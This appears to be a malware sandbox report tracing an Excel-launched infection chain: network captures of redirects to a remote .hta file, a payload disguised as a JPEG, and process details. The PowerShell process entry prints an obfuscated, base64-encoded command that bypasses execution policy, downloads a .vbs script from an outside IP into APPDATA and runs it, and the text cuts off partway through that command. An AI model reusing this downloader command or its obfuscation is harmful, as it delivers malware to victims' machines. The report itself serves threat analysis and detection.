2024-11-18 17:21:55 UTC	8192	IN	Data Raw: 6c 71 f8 b1 f3 f6 41 15 09 1a d2 19 89 24 98 f8 e7 fe 2c ca 4f b4 88 fa f4 69 b4 f1 ab 21 25 49 70 78 26 88 fc 37 5c ee e2 bf 0f d3 17 f1 7f b6 fe 25 0c cb 14 0d a4 23 6e e2 ea 8d d4 9e 9e aa e9 f2 c0 d0 8b ec e2 6a a4 95 13 5e 08 8d b6 86 10 d8 35 d4 83 ba b8 36 3e 04 66 80 fb 11 a7 a8 a5 6d 7c a2 3a da ca 10 6e 2d 47 90 7b 7e 47 3c b7 87 fd b2 d5 a6 a2 41 21 d1 42 8e db c8 68 98 aa 9f e2 00 2d 9f 51 25 8f c6 f3 7e 2f b6 0f 24 71 a0 d5 f8 63 11 d4 04 99 5a ab 8a f4 9e 87 01 6f b4 be 11 e1 5e 09 e1 32 c9 b1 a6 92 40 a8 8a ee 78 20 75 e2 bd f0 bf 65 3e cd 45 0e 88 6a b5 9a 74 92 49 79 02 54 0d 43 e1 77 98 9f 68 bc 62 2f 18 f1 5d 34 46 48 3c b5 23 71 0d 21 5b f7 36 a0 f5 f6 19 bb 0f da 6d 4e 97 4e b1 8d 67 86 34 68 28 83 1c d7 43 b7 e1 c0 db d4 f8 32 aa 7f Data Ascii: lqA$,Oi!%Ipx&7\%#nj^56>fm\|:n-G{~G<A!Bh-Q%~/$qcZo^2@x ue>EjtIyTCwhb/]4FH<#q![6mNNg4h(C2
2024-11-18 17:21:55 UTC	8192	IN	Data Raw: 38 23 4a c0 ef be 7d b1 b4 2c 61 20 74 ea 6b 01 27 4a 60 a1 79 ef 96 2c 7d 23 6f 00 59 18 f5 22 c3 b9 56 df 16 30 1d bc 35 92 6f fe 98 00 2e 59 85 70 07 4c 32 15 5e 88 6f f8 58 0e 0e 0d a2 da dc 91 cf 51 8c e9 ca 83 19 91 bd 1b 49 f6 a3 78 05 2a 59 95 c4 65 5c 0f 50 ae 0f 18 67 54 3a 6b 0a 43 b7 6e e7 2b 33 bc 4c 5e 36 dd b8 5f 1c f1 82 4d 5a 3a 94 92 3d a6 ef 77 5a c0 4d 96 40 e1 c8 22 8f 52 33 5e 27 f3 21 d9 18 62 c4 75 3d b3 37 52 e0 c6 42 22 95 bb 0c 07 39 48 f5 93 47 d0 90 0f b6 03 fb 25 da 54 b9 a5 e4 df 19 d2 38 30 87 95 d4 b0 fc 23 07 a6 d4 34 ed 27 9c d6 08 ae bc e2 8c 8d e6 ec 76 24 5f 03 00 e9 2b ca f7 e9 a5 3e 91 8e c5 12 82 cf 22 06 2c 39 2b db 05 a4 58 e1 05 59 14 1b e2 fa e6 a6 9e 15 92 23 b8 10 4f 00 2f 71 81 9b 2b c7 05 8d c1 55 ba 8e bc Data Ascii: 8#J},a tk'J`y,}#oY"V05o.YpL2^oXQIx*Ye\PgT:kCn+3L^6_MZ:=wZM@"R3^'!bu=7RB"9HG%T80#4'v$_+>",9+XY#O/q+U
2024-11-18 17:21:55 UTC	8192	IN	Data Raw: 0d b4 0a 92 ed 6d 5b b6 d0 07 bd 58 0c 6b 9a 62 3b 60 23 d2 bc 88 ac bb 44 6d 62 c9 00 02 2b f1 13 40 75 19 03 4f 21 12 7a 05 46 00 66 24 50 b0 6b 9e 95 80 e4 92 e9 18 c8 a3 ca 4a d3 ed 04 2b 51 70 f6 6a ec f2 01 16 79 e7 29 aa 7d 33 ee 78 96 25 2c fb 82 a2 b5 a8 37 c1 be 2f a7 4c 5a 68 9e 16 3e 64 61 68 d1 00 8e 3d b8 be 32 a1 b7 b0 55 51 67 a0 3d f0 2f a7 2a 24 0c 58 a8 a2 2c 13 dc 11 cd 76 f7 f8 5e 68 7d e6 35 88 ac 72 6c 5f bb f9 67 6d d6 ed f6 6a fe 17 d7 32 84 12 34 42 40 14 0e 48 05 80 26 8f 34 3a 9c 1a b0 0b 43 92 dc fc b0 34 f5 3a 94 10 33 47 29 df 71 ed bf 75 5a 3f cf 14 7d 53 b4 f2 ea 03 d3 39 63 7f ef 58 3f a1 39 4a 12 a0 55 04 d7 26 bd 87 27 2c f1 88 89 08 6e 89 20 86 04 57 1d fb f5 ed 81 54 08 c4 29 70 b6 40 dc 6f a7 d2 f2 58 42 b3 85 56 12 Data Ascii: m[Xkb;`#Dmb+@uO!zFf$PkJ+Qpjy)}3x%,7/LZh>dah=2UQg=/*$X,v^h}5rl_gmj24B@H&4:C4:3G)quZ?}S9cX?9JU&',n WT)p@oXBV
2024-11-18 17:21:55 UTC	8192	IN	Data Raw: e9 cf 41 f9 60 12 26 24 00 a0 fd 31 83 1c 8c 95 b4 a8 1d 41 e8 70 00 5d de 67 58 90 3a 01 c0 6e c4 73 7f a6 71 78 a5 01 1a 2d 8d 56 42 8a e7 e1 86 8a 12 84 9a 20 9c a9 88 99 37 b7 22 ee c6 00 c6 9e 5f bb 28 2e c5 8b 7a 40 36 70 b0 ab bc b1 c2 5b d4 0b 7a 88 eb 78 c4 0d 72 2b 46 ca ac aa 54 06 07 be 40 d2 56 a8 53 82 6f a1 27 8c 03 19 6a 65 2c 69 8b ec 23 e0 06 1d a4 0a 36 16 0a 84 10 5a b9 07 b6 55 a0 24 f9 b2 d9 0a 79 00 73 ed 7f 1c 95 8d 9e 59 15 56 96 81 56 61 c1 04 57 4c 0c ff 00 13 9e 51 e5 02 77 46 56 98 a8 e1 be 38 ac a2 99 d2 95 4b 05 a5 51 57 9b 3a 9d 2b 34 2b 19 6b 01 40 6b 18 8b e9 01 93 7b 29 63 6a b4 79 3e d8 09 78 7c 86 39 0f 27 71 0d 6b d7 b1 c8 81 1d 57 78 6b 79 14 b3 5f 63 d3 26 5d 39 d3 ea 51 85 8b 62 2a eb 0b fe ce 9a 69 0b 35 a2 f2 78 Data Ascii: A`&$1Ap]gX:nsqx-VB 7"_(.z@6p[zxr+FT@VSo'je,i#6ZU$ysYVVaWLQwFV8KQW:+4+k@k{)cjy>x\|9'qkWxky_c&]9Qb*i5x

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.22	49167	5.45.108.48	443	3224	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Timestamp	Bytes transferred	Direction	Data
2024-11-18 17:21:56 UTC	391	OUT	GET /bUPKfu?&sari=acoustic&flat=red&crown=important&nurture=aboriginal&helen HTTP/1.1 Accept: / UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: link.uebie.de Connection: Keep-Alive
2024-11-18 17:21:56 UTC	616	IN	HTTP/1.1 302 Found Server: openresty Date: Mon, 18 Nov 2024 17:21:56 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 121 Connection: close X-DNS-Prefetch-Control: off X-Frame-Options: SAMEORIGIN Strict-Transport-Security: max-age=15552000; includeSubDomains X-Download-Options: noopen X-Content-Type-Options: nosniff X-XSS-Protection: 0 Location: http://107.172.44.178/53/cg/bestthingsalwaysgetbesrentirelifethingstogdomybetterthignswithgreat.hta Vary: Accept X-Served-By: link.uebie.de Strict-Transport-Security: max-age=63072000;includeSubDomains; preload X-Served-By: link.uebie.de
2024-11-18 17:21:56 UTC	121	IN	Data Raw: 46 6f 75 6e 64 2e 20 52 65 64 69 72 65 63 74 69 6e 67 20 74 6f 20 68 74 74 70 3a 2f 2f 31 30 37 2e 31 37 32 2e 34 34 2e 31 37 38 2f 35 33 2f 63 67 2f 62 65 73 74 74 68 69 6e 67 73 61 6c 77 61 79 73 67 65 74 62 65 73 72 65 6e 74 69 72 65 6c 69 66 65 74 68 69 6e 67 73 74 6f 67 64 6f 6d 79 62 65 74 74 65 72 74 68 69 67 6e 73 77 69 74 68 67 72 65 61 74 2e 68 74 61 Data Ascii: Found. Redirecting to http://107.172.44.178/53/cg/bestthingsalwaysgetbesrentirelifethingstogdomybetterthignswithgreat.hta

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.22	49170	5.45.108.48	443	1264	C:\Windows\System32\mshta.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-18 17:21:58 UTC	415	OUT	GET /bUPKfu?&sari=acoustic&flat=red&crown=important&nurture=aboriginal&helen HTTP/1.1 Accept: / Accept-Language: en-US UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: link.uebie.de Connection: Keep-Alive
2024-11-18 17:21:58 UTC	616	IN	HTTP/1.1 302 Found Server: openresty Date: Mon, 18 Nov 2024 17:21:58 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 121 Connection: close X-DNS-Prefetch-Control: off X-Frame-Options: SAMEORIGIN Strict-Transport-Security: max-age=15552000; includeSubDomains X-Download-Options: noopen X-Content-Type-Options: nosniff X-XSS-Protection: 0 Location: http://107.172.44.178/53/cg/bestthingsalwaysgetbesrentirelifethingstogdomybetterthignswithgreat.hta Vary: Accept X-Served-By: link.uebie.de Strict-Transport-Security: max-age=63072000;includeSubDomains; preload X-Served-By: link.uebie.de
2024-11-18 17:21:58 UTC	121	IN	Data Raw: 46 6f 75 6e 64 2e 20 52 65 64 69 72 65 63 74 69 6e 67 20 74 6f 20 68 74 74 70 3a 2f 2f 31 30 37 2e 31 37 32 2e 34 34 2e 31 37 38 2f 35 33 2f 63 67 2f 62 65 73 74 74 68 69 6e 67 73 61 6c 77 61 79 73 67 65 74 62 65 73 72 65 6e 74 69 72 65 6c 69 66 65 74 68 69 6e 67 73 74 6f 67 64 6f 6d 79 62 65 74 74 65 72 74 68 69 67 6e 73 77 69 74 68 67 72 65 61 74 2e 68 74 61 Data Ascii: Found. Redirecting to http://107.172.44.178/53/cg/bestthingsalwaysgetbesrentirelifethingstogdomybetterthignswithgreat.hta

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.22	49173	142.215.209.78	443	3836	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-18 17:22:17 UTC	192	OUT	GET /api/file/get?filekey=2Aa_bWo9Reu45t7BU1kVgsd9pT9pgSSlvStGrnTICfFhmTKj3LC6SQtIcOc_T35w&pk_vid=fd4f614bb209c62c1730945176a0904f HTTP/1.1 Host: 1017.filemail.com Connection: Keep-Alive
2024-11-18 17:22:17 UTC	324	IN	HTTP/1.1 200 OK Content-Length: 2230233 Content-Type: image/jpeg Last-Modified: Thu, 07 Nov 2024 02:06:04 GMT Accept-Ranges: bytes ETag: 4bb5a8185f3b16880e3dcc573015c5d9 X-Transfer-ID: wxhdiueivoluihj Content-Disposition: attachment; filename=new_imagem.jpg Date: Mon, 18 Nov 2024 17:22:16 GMT Connection: close
2024-11-18 17:22:17 UTC	2499	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 01 00 01 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d 38 32 3c 2e 33 34 32 ff db 00 43 01 09 09 09 0c 0b 0c 18 0d 0d 18 32 21 1c 21 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 ff c0 00 11 08 04 38 07 80 03 01 22 00 02 11 01 03 11 01 ff c4 00 1c 00 00 02 03 01 01 01 01 00 00 00 00 00 00 00 00 00 03 04 01 02 05 00 06 07 08 ff c4 00 55 10 00 02 02 01 03 02 04 03 05 06 03 05 06 02 01 15 01 02 03 11 00 04 12 21 31 41 05 13 22 51 61 71 81 06 14 32 91 a1 07 23 42 b1 c1 Data Ascii: JFIFC $.' ",#(7),01444'9=82<.342C2!!222222222222222222222222222222222222222222222222228"U!1A"Qaq2#B
2024-11-18 17:22:17 UTC	8192	IN	Data Raw: 52 f2 85 5f 32 50 0d 86 ea 30 30 75 3e 21 a6 d0 c2 da 99 de 96 25 dd 67 8c f2 90 6a 5f ed df 8e 09 59 d9 74 1a 56 52 aa 2c 06 20 df 5c f4 5e 33 e0 b1 78 9c 2d a7 9d 59 62 3e d8 3f b3 fe 0b 07 80 68 46 9a 01 60 b1 6d c4 73 80 8f d9 f6 30 7e d5 7e d2 18 d4 22 2e 96 11 43 a8 1b 12 b3 37 c4 de 6d 57 db 19 34 ef fb a8 e4 f1 66 67 70 d4 db be e8 a1 7e 34 c3 71 cb f8 33 b7 ff 00 75 6f 1f 9d 1a 80 d3 22 15 3d f8 8f 9f a6 d3 8b eb 75 25 3e dc 47 1b 10 37 f8 ae fd ec 3d 5f fd 8a 82 af a5 7a b0 30 fe df f8 62 78 7f 89 78 5a 78 7c 7b 65 96 c2 ed ad cc e1 96 8d fb f2 31 ef b0 9f 66 e5 56 3e 29 ad 2e b3 ee 23 6b 5d 91 ef 8f 7d b6 3b 7e d3 fd 99 2c a0 de a4 02 48 e8 3c c8 b9 fd 2b 3d bb ec 8d 18 91 c0 14 68 7f 2c 07 62 d7 b9 50 09 0c 17 b8 3d 46 5b ef 85 1c b2 38 dc d5 Data Ascii: R_2P00u>!%gj_YtVR, \^3x-Yb>?hF`ms0~~".C7mW4fgp~4q3uo"=u%>G7=_z0bxxZx\|{e1fV>).#k]};~,H<+=h,bP=F[8
2024-11-18 17:22:17 UTC	8192	IN	Data Raw: d0 c4 b2 03 65 29 76 82 3b 8c 0c d3 09 40 49 0a c2 e8 73 95 68 dd 58 18 f6 af c9 b0 ce ca 5b 6a a8 60 0f 6e f9 c1 0b be dd a3 69 e0 81 80 b4 bb d5 b9 21 af 06 01 62 0d 0f cf 1d 4d 23 b8 65 28 d4 bc 0f 8e 0d f4 cf 13 1b 8d a8 0c 01 02 0c 4c a1 45 df 5c 09 14 79 c7 a4 45 83 61 11 93 bc 6e c5 64 52 18 92 b5 b8 d8 17 80 2a c6 b4 b1 99 37 25 75 ca e9 e0 67 6d c5 09 50 73 52 24 48 68 f9 44 b3 77 1d f0 00 be 1c 8d 09 7d c4 1b e9 8e 26 91 5f 44 04 67 d4 3a 7b 93 f1 cd 08 d0 08 8b 88 5b 81 7c f7 39 63 ab 54 8e 35 8e 05 5e 79 38 19 51 46 9a 92 f1 3a 95 65 50 2c 71 cd f2 79 c1 6a 22 68 11 63 0d 61 01 5d c0 f3 d7 34 a4 68 e7 76 21 29 82 51 23 bf 3d 71 72 10 25 94 e5 4e db 27 ae 06 49 82 47 8c ca 5b 75 7b 0e 41 c2 e8 d6 4d 42 3c 21 a8 8e 6c 9a fa 73 8d e8 b4 52 3e aa Data Ascii: e)v;@IshX[j`ni!bM#e(LE\yEandR*7%ugmPsR$HhDw}&_Dg:{[\|9cT5^y8QF:eP,qyj"hca]4hv!)Q#=qr%N'IG[u{AMB<!lsR>
2024-11-18 17:22:17 UTC	8192	IN	Data Raw: d2 4f 61 db 17 3a 58 9b 52 66 2b ea 3c 11 db ae 03 45 ac f3 f4 b1 06 a5 23 d2 c0 9a e7 1e 8e 30 ef 74 c3 67 35 5c 1f ae 01 07 2c c3 d2 a0 0d a3 28 c4 c6 a5 c4 4e c6 c2 9d bd 4f 38 c4 70 29 66 91 63 60 58 5b 5f 7c e3 26 d1 75 c5 50 18 19 fa b1 a4 69 94 f9 32 09 d0 12 c0 2f 0c 2b 8b c4 f5 7a 38 27 89 de 3d 30 69 5b e3 ca f1 ed 9b f0 c7 68 f2 79 45 b7 f3 c7 c0 e2 5a f9 d6 1d 36 d0 8e ac 0e ef 4d 5d 76 c0 ca f0 9d 1c 7a 4f 14 d2 c4 ed 73 95 2c 4f f8 7d 2d fd b3 d4 c4 cf 26 9d de 66 20 ab 12 0f 4e 33 cd 78 76 ad e7 f1 18 5e 54 6b 24 ae e3 d3 a1 eb 9e 8b 50 ae 63 6f 2c da b2 95 e7 b6 00 60 9d f5 b0 4f 1a 3f 97 21 6a 46 6e e3 3c b6 a3 57 ad d1 6b 0c 33 3b 20 56 ea 7a 37 39 bd a0 d1 cb a6 12 1d e5 94 35 ad 9e 98 97 8e 46 d3 e8 d8 be d2 ea f4 19 ba 8c 0c 2f 17 97 Data Ascii: Oa:XRf+<E#0tg5\,(NO8p)fc`X[_\|&uPi2/+z8'=0i[hyEZ6M]vzOs,O}-&f N3xv^Tk$Pco,`O?!jFn<Wk3; Vz795F/
2024-11-18 17:22:18 UTC	8192	IN	Data Raw: 60 73 90 fa c9 9c 28 14 aa aa ab 55 77 b4 0e bf 0e 30 2c fa 78 a1 05 ce f2 00 8a 80 6a 3b 99 6c f3 f4 c4 f5 0a 63 9a 48 c9 e5 58 af cc 03 86 3a c9 83 17 f3 03 12 14 10 ca 0d d0 e3 8c 59 9c c8 cd 64 96 63 64 93 d4 e0 51 48 0c 2f a0 cd 4d 3e 8c 6b 5d 3c b7 50 cc c3 d2 48 15 c7 c7 33 50 ec 70 dd 6b 36 34 8e 4c aa e8 42 fa a3 e8 4d 8f 49 be d8 06 1b 3c a5 69 91 54 af a4 95 37 b8 5f 04 f3 8b 6b a2 02 64 a3 4b d8 91 d3 e9 96 4a 58 4b 79 ac 15 40 24 df 3d 7e 23 29 20 fb c2 a5 b9 a6 70 ad 62 88 3f d7 00 2f 0a c0 4a f9 85 9c a9 53 c7 e1 3d 70 02 0d ac 40 e7 a7 27 db 2d 2f 96 aa c1 0b 07 56 3b ac f0 d7 9c ec cc 1c 79 85 8a d1 f6 b1 58 01 54 69 5c db 50 b3 c9 3d 32 bb 0e e0 07 3c d6 50 80 00 e6 ec 5e 12 30 80 8d cc 41 f6 18 04 11 9b db 77 87 8d 12 32 77 28 dc 3d f3 Data Ascii: `s(Uw0,xj;lcHX:YdcdQH/M>k]<PH3Ppk64LBMI<iT7_kdKJXKy@$=~#) pb?/JS=p@'-/V;yXTi\P=2<P^0Aw2w(=
2024-11-18 17:22:18 UTC	8192	IN	Data Raw: eb d5 15 9a 08 38 fc 44 29 ff 00 d5 99 e5 ab 80 6b 29 23 6e e0 9b 07 8c 0d 78 fe d1 ea 9c 06 11 c4 41 ff 00 2b 7f ea ce 1f 69 75 8c 48 f2 e1 00 7b ab 7f ea cc 42 5a 3a 28 c2 ba 10 72 ea ca 58 75 b3 f9 60 6d 0f 1d d4 b8 63 b2 05 50 38 01 5b 9f fc 58 6d 5f 8b ea 56 14 6a 8b 6f 5a da dd 6b fd ec c2 de a7 83 84 d5 ea 12 58 d1 0d d2 fb 60 6a 45 e3 5a 93 15 85 89 7e 1b 5b 9f d7 05 ff 00 c4 5a c8 9a 8c 70 8f 9a b7 3f ae 66 a1 60 a1 d0 31 5e d7 95 91 83 7e 21 47 df 03 5c fd a4 d6 37 58 74 d7 d8 ed 6b ff 00 cd 99 5a 9d 42 ce ed 23 46 aa 5b f1 6d ba 27 df 92 70 61 2a 2b dd 67 b6 0a 6b 11 30 3d eb f9 e0 54 4e 88 0d 7a 89 ca c7 3b 33 ed 23 86 e3 07 14 5e 63 10 4d 57 be 11 f4 bb 3a ba ee 3d 00 c0 d3 84 8d 62 a6 8e 46 55 97 a4 32 1e ab fe 56 f8 1e df 1a c4 25 32 46 de Data Ascii: 8D)k)#nxA+iuH{BZ:(rXu`mcP8[Xm_VjoZkX`jEZ~[Zp?f`1^~!G\7XtkZB#F[m'pa*+gk0=TNz;3#^cMW:=bFU2V%2F
2024-11-18 17:22:18 UTC	8192	IN	Data Raw: d6 ac aa 55 03 12 4d fb 66 86 86 67 4d 46 9b 51 40 3c 6e ae 55 bf 8a 8d d5 e0 7a 76 fb 1e b2 b8 77 f1 07 da 2c 8a 88 f2 6c 71 f8 b1 f3 f6 41 15 09 1a d2 19 89 24 98 f8 e7 fe 2c ca 4f b4 88 fa f4 69 b4 f1 ab 21 25 49 70 78 26 88 fc 37 5c ee e2 bf 0f d3 17 f1 7f b6 fe 25 0c cb 14 0d a4 23 6e e2 ea 8d d4 9e 9e aa e9 f2 c0 d0 8b ec e2 6a a4 95 13 5e 08 8d b6 86 10 d8 35 d4 83 ba b8 36 3e 04 66 80 fb 11 a7 a8 a5 6d 7c a2 3a da ca 10 6e 2d 47 90 7b 7e 47 3c b7 87 fd b2 d5 a6 a2 41 21 d1 42 8e db c8 68 98 aa 9f e2 00 2d 9f 51 25 8f c6 f3 7e 2f b6 0f 24 71 a0 d5 f8 63 11 d4 04 99 5a ab 8a f4 9e 87 01 6f b4 be 11 e1 5e 09 e1 32 c9 b1 a6 92 40 a8 8a ee 78 20 75 e2 bd f0 bf 65 3e cd 45 0e 88 6a b5 9a 74 92 49 79 02 54 0d 43 e1 77 98 9f 68 bc 62 2f 18 f1 5d 34 46 48 Data Ascii: UMfgMFQ@<nUzvw,lqA$,Oi!%Ipx&7\%#nj^56>fm\|:n-G{~G<A!Bh-Q%~/$qcZo^2@x ue>EjtIyTCwhb/]4FH
2024-11-18 17:22:18 UTC	8192	IN	Data Raw: 15 0a 40 00 8a c2 20 2a 6c 9a c3 b8 47 8c 30 e6 87 e5 80 00 f7 36 3d fd b0 38 90 58 ee dd cf 7c bc 50 b3 ab 51 20 0e 09 38 23 4a c0 ef be 7d b1 b4 2c 61 20 74 ea 6b 01 27 4a 60 a1 79 ef 96 2c 7d 23 6f 00 59 18 f5 22 c3 b9 56 df 16 30 1d bc 35 92 6f fe 98 00 2e 59 85 70 07 4c 32 15 5e 88 6f f8 58 0e 0e 0d a2 da dc 91 cf 51 8c e9 ca 83 19 91 bd 1b 49 f6 a3 78 05 2a 59 95 c4 65 5c 0f 50 ae 0f 18 67 54 3a 6b 0a 43 b7 6e e7 2b 33 bc 4c 5e 36 dd b8 5f 1c f1 82 4d 5a 3a 94 92 3d a6 ef 77 5a c0 4d 96 40 e1 c8 22 8f 52 33 5e 27 f3 21 d9 18 62 c4 75 3d b3 37 52 e0 c6 42 22 95 bb 0c 07 39 48 f5 93 47 d0 90 0f b6 03 fb 25 da 54 b9 a5 e4 df 19 d2 38 30 87 95 d4 b0 fc 23 07 a6 d4 34 ed 27 9c d6 08 ae bc e2 8c 8d e6 ec 76 24 5f 03 00 e9 2b ca f7 e9 a5 3e 91 8e c5 12 82 Data Ascii: @ lG06=8X\|PQ 8#J},a tk'J`y,}#oY"V05o.YpL2^oXQIxYe\PgT:kCn+3L^6_MZ:=wZM@"R3^'!bu=7RB"9HG%T80#4'v$_+>
2024-11-18 17:22:18 UTC	8192	IN	Data Raw: 6c e5 d2 cd 20 42 36 d3 32 80 a1 80 22 f8 04 8b b0 30 0a 0c 07 48 db b9 98 35 2f 24 6e 1d 6f e9 55 ff 00 16 5a f4 6a d0 0d b4 0a 92 ed 6d 5b b6 d0 07 bd 58 0c 6b 9a 62 3b 60 23 d2 bc 88 ac bb 44 6d 62 c9 00 02 2b f1 13 40 75 19 03 4f 21 12 7a 05 46 00 66 24 50 b0 6b 9e 95 80 e4 92 e9 18 c8 a3 ca 4a d3 ed 04 2b 51 70 f6 6a ec f2 01 16 79 e7 29 aa 7d 33 ee 78 96 25 2c fb 82 a2 b5 a8 37 c1 be 2f a7 4c 5a 68 9e 16 3e 64 61 68 d1 00 8e 3d b8 be 32 a1 b7 b0 55 51 67 a0 3d f0 2f a7 2a 24 0c 58 a8 a2 2c 13 dc 11 cd 76 f7 f8 5e 68 7d e6 35 88 ac 72 6c 5f bb f9 67 6d d6 ed f6 6a fe 17 d7 32 84 12 34 42 40 14 0e 48 05 80 26 8f 34 3a 9c 1a b0 0b 43 92 dc fc b0 34 f5 3a 94 10 33 47 29 df 71 ed bf 75 5a 3f cf 14 7d 53 b4 f2 ea 03 d3 39 63 7f ef 58 3f a1 39 4a 12 a0 55 Data Ascii: l B62"0H5/$noUZjm[Xkb;`#Dmb+@uO!zFf$PkJ+Qpjy)}3x%,7/LZh>dah=2UQg=/*$X,v^h}5rl_gmj24B@H&4:C4:3G)quZ?}S9cX?9JU
2024-11-18 17:22:18 UTC	8192	IN	Data Raw: da c8 c7 76 da 2d db df 15 01 96 e8 f5 fa e7 32 17 6d cd c9 aa e9 81 29 34 01 76 b4 60 80 78 3b 7b 63 08 b2 70 c5 53 69 e9 cf 41 f9 60 12 26 24 00 a0 fd 31 83 1c 8c 95 b4 a8 1d 41 e8 70 00 5d de 67 58 90 3a 01 c0 6e c4 73 7f a6 71 78 a5 01 1a 2d 8d 56 42 8a e7 e1 86 8a 12 84 9a 20 9c a9 88 99 37 b7 22 ee c6 00 c6 9e 5f bb 28 2e c5 8b 7a 40 36 70 b0 ab bc b1 c2 5b d4 0b 7a 88 eb 78 c4 0d 72 2b 46 ca ac aa 54 06 07 be 40 d2 56 a8 53 82 6f a1 27 8c 03 19 6a 65 2c 69 8b ec 23 e0 06 1d a4 0a 36 16 0a 84 10 5a b9 07 b6 55 a0 24 f9 b2 d9 0a 79 00 73 ed 7f 1c 95 8d 9e 59 15 56 96 81 56 61 c1 04 57 4c 0c ff 00 13 9e 51 e5 02 77 46 56 98 a8 e1 be 38 ac a2 99 d2 95 4b 05 a5 51 57 9b 3a 9d 2b 34 2b 19 6b 01 40 6b 18 8b e9 01 93 7b 29 63 6a b4 79 3e d8 09 78 7c 86 39 Data Ascii: v-2m)4v`x;{cpSiA`&$1Ap]gX:nsqx-VB 7"_(.z@6p[zxr+FT@VSo'je,i#6ZU$ysYVVaWLQwFV8KQW:+4+k@k{)cjy>x\|9

Target ID:	0
Start time:	12:21:06
Start date:	18/11/2024
Path:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /automation -Embedding
Imagebase:	0x13f130000
File size:	28'253'536 bytes
MD5 hash:	D53B85E21886D2AF9815C377537BCAC3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	5
Start time:	12:21:29
Start date:	18/11/2024
Path:	C:\Windows\System32\mshta.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\mshta.exe -Embedding
Imagebase:	0x13f930000
File size:	13'824 bytes
MD5 hash:	95828D670CFD3B16EE188168E083C3C5
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	12:21:34
Start date:	18/11/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\SysTEM32\wiNdoWSPoWeRShElL\V1.0\PoWERsHeLl.EXe" "pOWersheLL -Ex BYPaSs -nop -W 1 -c DeVIcECrEdenTiAldePlOYMEnT.exe ; INvokE-EXPressiON($(INvOkE-ExpressiON('[SystEM.tExt.encoDinG]'+[char]0X3A+[char]58+'UTF8.GetsTRIng([SyStEm.cOnVeRT]'+[ChaR]0X3A+[chaR]58+'frombasE64StRIng('+[chaR]34+'JFhvY0VSN21mYWMgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQWRELXRZcGUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbWVNYmVSZEVGaW5pVElvTiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJVcmxNT04iLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENoYXJTZXQgPSBDaGFyU2V0LlVuaWNvZGUpXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBVUkxEb3dubG9hZFRvRmlsZShJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBkbkhyTG8sc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgamxXTWh0LHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEwsdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFVEd1JCWENTLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHFFS3ZxKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5BbUUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiZHpUayIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTmFNZVNQQUNFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgbHhzQnRTTVB2ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRYb2NFUjdtZmFjOjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMTA3LjE3Mi40NC4xNzgvNTMvc2VlbXliZXN0bmV0d29ya3doaWNoZ2l2ZWJlc3R0aGluZ3NlbnRpcmVsaWZld2l0aG1lLnRJRiIsIiRFTnY6QVBQREFUQVxzZWVteWJlc3RuZXR3b3Jrd2hpY2hnaXZlYmVzdHRoaW5nc2VudGlyZWxpZmV3aXRoLnZiUyIsMCwwKTtzVEFydC1zbEVFUCgzKTtJRVggICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJGVuVjpBUFBEQVRBXHNlZW15YmVzdG5ldHdvcmt3aGljaGdpdmViZXN0dGh